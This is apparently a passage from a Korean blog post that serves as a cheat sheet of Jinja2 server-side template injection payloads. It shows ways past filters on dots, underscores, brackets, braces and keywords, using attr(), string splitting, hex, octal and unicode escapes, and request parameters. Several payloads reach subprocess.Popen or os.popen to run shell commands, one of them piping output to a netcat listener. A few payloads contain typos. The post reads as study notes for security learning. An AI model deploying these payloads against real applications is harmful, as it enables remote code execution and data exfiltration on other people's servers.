      foo.bar이라는 변수가 존재할 떄 dot(.)을 쓰지 않더라도 foo|attr('bar')처럼 똑같은 효과를 낼 수 있습니다.

      이러한 내장 함수를 이용하여 class 메서드나 속성을 호출하기 위해 dot(.)을 사용하는걸 볼 수 있는데 해당 dot(.)이 막혀 있는 경우 우회가 가능합니다.

      • dot(.) 우회

        Exam Payloads : ''.__class__

        Bad Good
        ''.attr(__class__) ''|attr('__class__')
      • 리스트 요소 호출

        Exam Payloads : ''.__class__.__mro__[1]

        Bad Good
        ''|attr('__class__')|attr('__mro__[1]') ''|attr('__class__')|attr('__mro__')[1]
      • 소괄호를 이용하여 함수 실행

        Exam Payloads : ''.__class__.__mro__[1].__subclasses__()

        Bad Good
        ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__()') ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__')()



    config가 필터링 되는 경우

    {{ self.__dict__ }}
    {{ self['__dict__']}}
    {{ self|attr("__dict__") }}
    {{ self|attr("con"+"fig")}}
    {{ self.__getitem__('con'+'fig') }}
    {{ request.__dict__ }}
    {{ request['__dict__']}}
    {{ request.__getitem__('con'+'fig') }}
    

    특정 단어 필터링

    만약 class, mro, subclasses, base 등 특정 키워드가 필터링 되는 경우에는 Jinja2 템플릿 엔진에 내장 함수로 들어있는 attr 함수를 사용하거나 [] 대괄호를 이용하여 문자열로 메서드를 호출할 수 있습니다.

    그 외에도 ascii hex, ascii oct, 16bit unicode, 32bit unicode를 이용하여 우회할 수 있습니다.

    {{ ''['__cl'+'ass__']['__m'+'ro__'][0]['__subcla'+'sses__']() }}
    {{ ''|attr('__cl'+'ass__')|attr('__m'+'ro__')[0]|attr('__subcla'+'ssess__')() }}
    {{ ''['_'*2+'class'+'_'*2]['_'*2+'mro'+'_'*2][0]['_'*2+'subclasses'+'_'*2] }}
    # ascii hex
    {{ ''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f'] }}
    # ascii otc
    {{ ''['\137\137\143\154\141\163\163\137\137'] }}
    # 16bit unicode
    {{ ''['\u005F\u005F\u0063\u006c\u0061\u0073\u0073\u005F\u005F'] }}
    # 32bit unicode
    {{ ''['\U0000005F\U0000005F\U00000063\U0000006c\U00000061\U00000073\U00000073\U0000005F\U0000005F'] }}
    

    to_bytes를 이용하여 hex를 문자열로 변환하여 필터링을 우회하는 방법도 있습니다.

    # 0xhex.to_bytes(<length>, 'big')
    
    {{ 0x4142434445.to_bytes(5,'big').decode() }} # ABCDE
    
    {{ self|attr(0x5f5f646963745f5f.to_bytes(8,'big').decode()) }} # 
    # 0x5f5f646963745f5f == "__dict__"
    
    • 기타

      가끔씩 아무리 우회해도 안되는 경우가 있는데 그럴때는 무지성으로 단어 하나하나 더해주자

        {{ ''|attr('_'+'_'+'c'+'l'+'a'+'s'+'s'+'_'+'_')|attr('__mro__')[1]|attr('__subclasses__')() }}
      

    dot(.)이 필터링 되는 경우

    [대괄호]와 (소괄호)를 이용하거나 attr()|attr() 처럼 attr 함수를 이용하여 우회할 수 있다.

    {{ ''['__class__']['__mro__'][1]['__subclasses__']()[346]('ls', shell=True, stdout=-1)['communicate']() }}
    {{ ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__')[346]('ls', shell=True, stdout=-1)|attr('communicate')() }}
    

    {{}} 중괄호가 필터링 되는 경우

    {{}} 중괄호 또한 Jinja2 템플릿 엔진의 구문 중 하나이므로 {{}}가 아니더라도 {% %}으로도 실행이 가능합니다.

    ''.__class__.__mro__[1].__subclasses__()[i] 와 같이 결과를 보고 원하는 class를 가져와야되는 경우 for문과 if문을 이용하여 원하는 클래스를 호출하면 됩니다.

    {% if(config.__class__.__init__.__globals__['os'].popen('ls | nc 127.0.0.1 8080')) %}{% endif %}
    {% for i in range(0,500) %} {% if(((''.__class__.__mro__[1].__subclasses__()[i])|string) == "<class 'subprocess.Popen'>") %} {% if(''.__class__.__mro__[1].__subclasses__()[i]('ls | nc 127.0.0.1 8080', shell=True, stdout=-1)) %} {% endif %} {% endif %} {% endfor %}
    

    Underscore(_)가 필터링 되는 경우

    _가 필터링 되는 경우 \x5f, \137, \u005F, \U0000005F, request.args.get('under') 등 사용하여 쉽게 우회할 수 있습니다.

    • \x5f(ascii hex)

    • \137(ascii oct)

    • \u005F(16bit unicode)

    • \U0000005F(32bit unicode)

    • request.args.get('파라미터 이름')

      request.args.get를 이용하여 어떠한 키워드를 필터링 하더라도 쉬게 우회가 가능하다 예시로

      http://127.0.0.1:8080/?ssti={{ request.args.get('test') }}&test=hello

      이러한 링크로 접속을 하게 되면 request.args.get('test') 으로 인해 test 파라미터를 가져와 hello를 출력하게 됩니다.

      언더바 또한 이를 이용하여 우회할 수 있습니다.

    # request.args.get()
    http://127.0.0.1:8080?ssti={{ ''[request.args.get('class')][request.args.get('mro')][request.args.get('subclasses')] }}&class=__class__&mro=__mro__&subclasses=__subclasses__
    # ascii hex
    {{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1]['\x5f\x5fsubclasses\x5f\x5f']() }}
    # ascii oct
    {{ ''['\137\137class\137\137']['\137\137mro\137\137'][1]['\137\137subclasses\137\137']() }}
    # 16bit unicode
    {{ ''['\u005F\u005Fclass\u005F\u005F']['\u005F\u005Fmro\u005F\u005F']['\u005F\u005Fsubclasses\u005F\u005F']() }}
    # 32bit unicode
    {{ ''['\U0000500F\U0000500Fclass\U0000500F\U0000500F']['\U0000500F\U0000500Fmro\U0000500F\U0000500F'][1]['\U0000500F\U0000500Fsubclasses\U0000500F\U0000500F']() }}
    

    [] 대괄호가 필터링 되는 경우

    {{ ''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(245)('ls', shell=True, stdout=-1).communicate() }}
    {{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclassess__')()|attr('__getitem__')(245)('ls', shell=True, stdout=-1)|attr('communicate')() }}
    

    Jinja Template References




    마무리


    SSTI의 경우 python 언어에서만 작동되는 것이 아닌 템플릿을 사용하는 모든 언어에서 특정 단어 필터링하지 않거나 안전하지 않은 코딩일 경우 취약점이 손쉽게 발생할 수도 있다.

    이 블로그를 작성하면서 다양한 SSTI 페이로드에 관해 공부하게 되고 좀 더 알아가는 계기가 된 것 같다.